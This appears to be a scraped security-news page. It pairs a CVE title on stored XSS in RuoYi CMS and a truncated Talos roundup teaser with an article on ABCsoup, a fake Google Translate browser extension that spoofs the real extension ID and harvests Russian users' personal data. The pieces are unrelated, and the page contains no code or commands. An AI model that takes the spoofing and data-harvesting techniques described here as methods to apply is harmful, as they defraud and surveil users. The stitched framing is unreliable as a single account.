CVE-2022-32065: Vulnerability: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms · Issue #118 · yangzongzhuan/RuoYi

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between July 1 and July 8. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

Threat Roundup for July 1 to July 8

A malicious browser extension with 350 variants is masquerading as a Google Translate add-on as part of an adware campaign targeting Russian users of Google Chrome, Opera, and Mozilla Firefox browsers.
Mobile security firm Zimperium dubbed the malware family ABCsoup, stating the "extensions are installed onto a victim's machine via a Windows-based executable, bypassing most endpoint security

A malicious browser extension with 350 variants is masquerading as a Google Translate add-on as part of an adware campaign targeting Russian users of Google Chrome, Opera, and Mozilla Firefox browsers.

Mobile security firm Zimperium dubbed the malware family **ABCsoup**, stating the "extensions are installed onto a victim's machine via a Windows-based executable, bypassing most endpoint security solutions, along with the security controls found in the official extension stores."

The rogue browser add-ons come with the same extension ID as that of Google Translate — "aapbdbdomjkkjkaonfhkkikfgjllcleb" — in an attempt to trick users into believing that they have installed a legitimate extension.

The extensions are not available on the official browser web stores themselves. Rather they are delivered through different Windows executables that install the add-on on the victim's web browser.

In the event the targeted user already has the Google Translate extension installed, it replaces the original version with the malicious variant owing to their higher version numbers (30.2.5 vs. 2.0.10).

"Furthermore, when this extension is installed, Chrome Web Store assumes that it is Google Translate and not the malicious extension since the Web Store only checks for extension IDs," Zimperium researcher Nipun Gupta said.

All the observed variants of the extension are geared towards serving pop-ups, harvesting personal information to deliver target-specific ads, fingerprinting searches, and injecting malicious JavaScript that can further act as a spyware to capture keystrokes and monitor web browser activity.

The main function of ABCsoup entails checking for Russian social networking services like Odnoklassniki and VK among the current websites opened in the browser, and if so, gather the users' first and last names, dates of birth, and gender, and transmit the data to a remote server.

Not only does the malware use this information to serve personalized ads, the extension also comes with capabilities to inject custom JavaScript code based on the websites opened. This includes YouTube, Facebook, ASKfm, Mail.ru, Yandex, Rambler, Avito, Brainly's Znanija, Kismia, and rollApp, suggesting a heavy Russia focus.

Zimperium attributed the campaign to a "well-organized group" of Eastern European and Russian origin, with the extensions designed to target Russian users given the wide variety of local domains targeted.

"This malware is purposefully designed to target all kinds of users and serves its purpose of retrieving user information," Gupta said. "The injected scripts can be easily used to serve more malicious behavior into the browser session, such as keystroke mapping and data exfiltration."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#firefox